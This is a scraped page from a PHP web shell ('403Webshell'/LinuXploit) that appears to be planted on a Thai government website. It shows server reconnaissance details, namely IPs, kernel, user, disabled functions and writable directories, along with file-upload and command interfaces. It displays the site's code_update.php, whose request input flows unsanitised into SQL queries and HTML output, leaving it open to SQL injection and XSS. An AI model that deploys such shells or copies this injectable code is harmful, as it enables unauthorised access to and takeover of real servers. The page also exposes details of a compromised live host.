403Webshell
Server IP : 119.59.102.212  /  Your IP : 18.117.197.188
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/code/code_update.php
<?php
import_request_variables('pG', 'p_');
if($p_id_top!="")			{	     $id_top=trim($p_id_top);	}

$sql = "SELECT id_code FROM cms_code WHERE id_top='$id_top'";
$re = mysql_query($sql);
$data = mysql_fetch_array($re);
if ($data[0] == "") {
  $sql = "INSERT INTO `cms_code` (`id_code` ,`code` ,`id_top`)VALUES (NULL,'ใส่ Code ที่ต้องการ','$id_top')";
  $re = mysql_query($sql);
}

$sql = "SELECT * FROM cms_code WHERE id_top='$id_top'";
$re = mysql_query($sql);
$data = mysql_fetch_array($re);

$navig['boss_message_edit'] = "แก้ไขข้อมูล";
navigator($navig);
echo "<br>";
bar_header("แก้ไขข้อมูล"); // Bar_Header
fieldset_top($boss_msg->topic);
echo "<br/>";
?>

<form  name="add" action="index.php?mod=code_update_output&path=code&id_top=<?php echo $id_top; ?>&id_code=<?php echo $data[id_code]; ?>" method="post">
  <table width="100%" border="0" align="center" cellpadding="1" cellspacing="3">

    <?php
    
      text_editor('440', '250', 'ใส่ Code', 2, $data['code'], 'message');
      
      button_text('แก้ไขข้อมูล', 'submit_edit');
      
    ?>
<!--    <tr height='35'>
      <td><?php // echo print_arr1(); ?>&nbsp;<strong>ใส่ Code</strong></td> 
      <td>
        <?php
//        $oFCKeditor = new FCKeditor('message');
//        $oFCKeditor->BasePath = 'coremain/editor/';
//        $oFCKeditor->Width = '440';
//        $oFCKeditor->Height = '250';
//        $oFCKeditor->Value = $data[code];
//        $oFCKeditor->Create()
        ?> 
      </td> 
    </tr>  -->
<!--    <tr height='35'>

      <td colspan='2' align="center">
        <input type="submit" name="submit_edit" value="แก้ไขข้อมูล" onmouseover="this.style.cursor='hand'"></td> 
    </tr> -->
  </table>
  <input type="hidden" name="id_message" value="<?php echo $data_link->id_message; ?>">
</form>   


Youez - 2016 - github.com/yon3zu
LinuXploit